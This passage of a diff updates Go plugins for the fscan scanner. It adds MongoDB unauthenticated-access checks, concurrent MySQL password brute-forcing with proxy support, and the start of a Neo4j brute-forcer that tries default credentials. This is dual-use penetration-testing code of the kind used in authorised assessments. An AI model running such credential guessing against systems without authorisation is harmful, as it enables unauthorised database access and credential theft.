if result.DeviceInfo != "" {
|
||||||
|
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
|
||||||
|
}
|
||||||
|
}
|
||||||
+105
-23
@@ -1,80 +1,162 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"io"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
)
|
)
|
||||||
|
|
||||||
// MongodbScan 执行MongoDB未授权扫描
|
// MongodbScan 执行MongoDB未授权扫描
|
||||||
func MongodbScan(info *Common.HostInfo) error {
|
func MongodbScan(info *Common.HostInfo) error {
|
||||||
if Common.IsBrute {
|
if Common.DisableBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err := MongodbUnauth(info)
|
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
if err != nil {
|
Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
|
||||||
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
|
|
||||||
Common.LogError(errlog)
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
isUnauth bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中执行扫描
|
||||||
|
go func() {
|
||||||
|
isUnauth, err := MongodbUnauth(ctx, info)
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
isUnauth bool
|
||||||
|
err error
|
||||||
|
}{isUnauth, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
if result.err != nil {
|
||||||
|
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
|
||||||
|
Common.LogError(errlog)
|
||||||
|
return result.err
|
||||||
|
} else if result.isUnauth {
|
||||||
|
// 记录控制台输出
|
||||||
|
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
|
||||||
|
|
||||||
|
// 保存未授权访问结果
|
||||||
|
scanResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "mongodb",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
"protocol": "mongodb",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(scanResult)
|
||||||
|
} else {
|
||||||
|
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
}
|
}
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// MongodbUnauth 检测MongoDB未授权访问
|
// MongodbUnauth 检测MongoDB未授权访问
|
||||||
func MongodbUnauth(info *Common.HostInfo) (bool, error) {
|
func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) {
|
||||||
// MongoDB查询数据包
|
|
||||||
msgPacket := createOpMsgPacket()
|
msgPacket := createOpMsgPacket()
|
||||||
queryPacket := createOpQueryPacket()
|
queryPacket := createOpQueryPacket()
|
||||||
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
|
||||||
|
|
||||||
// 尝试OP_MSG查询
|
// 尝试OP_MSG查询
|
||||||
reply, err := checkMongoAuth(realhost, msgPacket)
|
Common.LogDebug("尝试使用OP_MSG协议")
|
||||||
|
reply, err := checkMongoAuth(ctx, realhost, msgPacket)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
|
||||||
// 失败则尝试OP_QUERY查询
|
// 失败则尝试OP_QUERY查询
|
||||||
reply, err = checkMongoAuth(realhost, queryPacket)
|
reply, err = checkMongoAuth(ctx, realhost, queryPacket)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查响应结果
|
// 检查响应结果
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||||
if strings.Contains(reply, "totalLinesWritten") {
|
if strings.Contains(reply, "totalLinesWritten") {
|
||||||
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
|
Common.LogDebug("响应中包含totalLinesWritten,确认未授权访问")
|
||||||
Common.LogSuccess(result)
|
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("响应未包含预期内容,可能需要认证")
|
||||||
return false, nil
|
return false, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkMongoAuth 检查MongoDB认证状态
|
// checkMongoAuth 检查MongoDB认证状态
|
||||||
func checkMongoAuth(address string, packet []byte) (string, error) {
|
func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
|
||||||
// 建立TCP连接
|
Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
|
||||||
|
|
||||||
|
// 使用带超时的连接
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
|
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", fmt.Errorf("连接失败: %v", err)
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
|
|
||||||
// 设置超时时间
|
// 检查上下文是否已取消
|
||||||
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
select {
|
||||||
return "", err
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置读写超时
|
||||||
|
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||||
|
return "", fmt.Errorf("设置超时失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 发送查询包
|
// 发送查询包
|
||||||
|
Common.LogDebug("发送查询包")
|
||||||
if _, err := conn.Write(packet); err != nil {
|
if _, err := conn.Write(packet); err != nil {
|
||||||
return "", err
|
return "", fmt.Errorf("发送查询失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 再次检查上下文是否已取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取响应
|
// 读取响应
|
||||||
reply := make([]byte, 1024)
|
Common.LogDebug("读取响应")
|
||||||
|
reply := make([]byte, 2048)
|
||||||
count, err := conn.Read(reply)
|
count, err := conn.Read(reply)
|
||||||
if err != nil {
|
if err != nil && err != io.EOF {
|
||||||
return "", err
|
return "", fmt.Errorf("读取响应失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if count == 0 {
|
||||||
|
return "", fmt.Errorf("收到空响应")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
|
||||||
return string(reply[:count]), nil
|
return string(reply[:count]), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+311
-48
@@ -1,81 +1,344 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/go-sql-driver/mysql"
|
"net"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/go-sql-driver/mysql"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
)
|
)
|
||||||
|
|
||||||
// MysqlScan 执行MySQL服务扫描
|
// MySQLProxyDialer 自定义dialer结构体
|
||||||
func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
type MySQLProxyDialer struct {
|
||||||
if Common.IsBrute {
|
timeout time.Duration
|
||||||
return
|
}
|
||||||
|
|
||||||
|
// Dial 实现mysql.Dialer接口,支持socks代理
|
||||||
|
func (d *MySQLProxyDialer) Dial(ctx context.Context, addr string) (net.Conn, error) {
|
||||||
|
return Common.WrapperTcpWithContext(ctx, "tcp", addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// registerMySQLDialer 注册MySQL自定义dialer
|
||||||
|
func registerMySQLDialer() {
|
||||||
|
// 创建自定义dialer
|
||||||
|
dialer := &MySQLProxyDialer{
|
||||||
|
timeout: time.Duration(Common.Timeout) * time.Millisecond,
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
// 注册自定义dialer到go-sql-driver/mysql
|
||||||
|
mysql.RegisterDialContext("tcp-proxy", func(ctx context.Context, addr string) (net.Conn, error) {
|
||||||
|
return dialer.Dial(ctx, addr)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// 尝试用户名密码组合
|
// MySQLCredential 表示一个MySQL凭据
|
||||||
|
type MySQLCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// MySQLScanResult 表示MySQL扫描结果
|
||||||
|
type MySQLScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential MySQLCredential
|
||||||
|
}
|
||||||
|
|
||||||
|
// MysqlScan 执行MySQL服务扫描
|
||||||
|
func MysqlScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []MySQLCredential
|
||||||
for _, user := range Common.Userdict["mysql"] {
|
for _, user := range Common.Userdict["mysql"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
credentials = append(credentials, MySQLCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := MysqlConn(info, user, pass)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
if flag && err == nil {
|
len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials)))
|
||||||
return err
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveMySQLResult(info, target, result.Credential)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("MySQL扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentMySQLScan 并发扫描MySQL服务
|
||||||
|
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *MySQLScanResult, 1)
|
||||||
|
workChan := make(chan MySQLCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryMySQLCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("MySQL并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryMySQLCredential 尝试单个MySQL凭据
|
||||||
|
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &MySQLScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录错误信息
|
// 创建独立的超时上下文
|
||||||
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
Common.LogError(errlog)
|
success, err := MysqlConn(connCtx, info, credential.Username, credential.Password)
|
||||||
tmperr = err
|
cancel()
|
||||||
|
|
||||||
if Common.CheckErrs(err) {
|
if success {
|
||||||
return err
|
return &MySQLScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 超时检查
|
lastErr = err
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) {
|
if err != nil {
|
||||||
return err
|
// Access denied 表示用户名或密码错误,无需重试
|
||||||
|
if strings.Contains(err.Error(), "Access denied") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
|
||||||
|
return &MySQLScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// MysqlConn 尝试MySQL连接
|
// MysqlConn 尝试MySQL连接
|
||||||
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
host, port, username, password := info.Host, info.Ports, user, pass
|
host, port, username, password := info.Host, info.Ports, user, pass
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
// 构造连接字符串
|
// 检查是否需要使用socks代理
|
||||||
connStr := fmt.Sprintf(
|
var connStr string
|
||||||
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
|
if Common.Socks5Proxy != "" {
|
||||||
username, password, host, port, timeout,
|
// 注册自定义dialer
|
||||||
)
|
registerMySQLDialer()
|
||||||
|
|
||||||
// 建立数据库连接
|
// 使用自定义网络类型的连接字符串
|
||||||
db, err := sql.Open("mysql", connStr)
|
connStr = fmt.Sprintf(
|
||||||
if err != nil {
|
"%v:%v@tcp-proxy(%v:%v)/mysql?charset=utf8&timeout=%v",
|
||||||
return false, err
|
username, password, host, port, timeout,
|
||||||
}
|
)
|
||||||
defer db.Close()
|
} else {
|
||||||
|
// 标准连接字符串
|
||||||
// 设置连接参数
|
connStr = fmt.Sprintf(
|
||||||
db.SetConnMaxLifetime(timeout)
|
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
|
||||||
db.SetConnMaxIdleTime(timeout)
|
username, password, host, port, timeout,
|
||||||
db.SetMaxIdleConns(0)
|
)
|
||||||
|
|
||||||
// 测试连接
|
|
||||||
if err = db.Ping(); err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接成功
|
// 创建结果通道
|
||||||
result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password)
|
resultChan := make(chan struct {
|
||||||
Common.LogSuccess(result)
|
success bool
|
||||||
return true, nil
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
go func() {
|
||||||
|
// 建立数据库连接
|
||||||
|
db, err := sql.Open("mysql", connStr)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
// 设置连接参数
|
||||||
|
db.SetConnMaxLifetime(timeout)
|
||||||
|
db.SetConnMaxIdleTime(timeout)
|
||||||
|
db.SetMaxIdleConns(0)
|
||||||
|
|
||||||
|
// 添加上下文支持
|
||||||
|
conn, err := db.Conn(ctx)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 测试连接
|
||||||
|
err = conn.PingContext(ctx)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 连接成功
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{true, nil}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveMySQLResult 保存MySQL扫描结果
|
||||||
|
func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) {
|
||||||
|
successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "mysql",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,360 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Neo4jCredential 表示一个Neo4j凭据
|
||||||
|
type Neo4jCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Neo4jScanResult 表示Neo4j扫描结果
|
||||||
|
type Neo4jScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential Neo4jCredential
|
||||||
|
IsUnauth bool
|
||||||
|
IsDefaultCreds bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func Neo4jScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 初始检查列表 - 无认证和默认凭证
|
||||||
|
initialCredentials := []Neo4jCredential{
|
||||||
|
{"", ""}, // 无认证
|
||||||
|
{"neo4j", "neo4j"}, // 默认凭证
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先检查无认证和默认凭证
|
||||||
|
Common.LogDebug("尝试默认凭证...")
|
||||||
|
for _, credential := range initialCredentials {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
|
||||||
|
|
||||||
|
result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1)
|
||||||
|
if result.Success {
|
||||||
|
// 标记结果类型
|
||||||
|
if credential.Username == "" && credential.Password == "" {
|
||||||
|
result.IsUnauth = true
|
||||||
|
} else {
|
||||||
|
result.IsDefaultCreds = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
saveNeo4jResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []Neo4jCredential
|
||||||
|
for _, user := range Common.Userdict["neo4j"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, Neo4jCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveNeo4jResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Neo4j扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentNeo4jScan 并发扫描Neo4j服务
|
||||||
|
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *Neo4jScanResult, 1)
|
||||||
|
workChan := make(chan Neo4jCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryNeo4jCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Neo4j并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryNeo4jCredential 尝试单个Neo4j凭据
|
||||||
|
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &Neo4jScanResult{
|
||||||
|
Success: false,
|
||||||
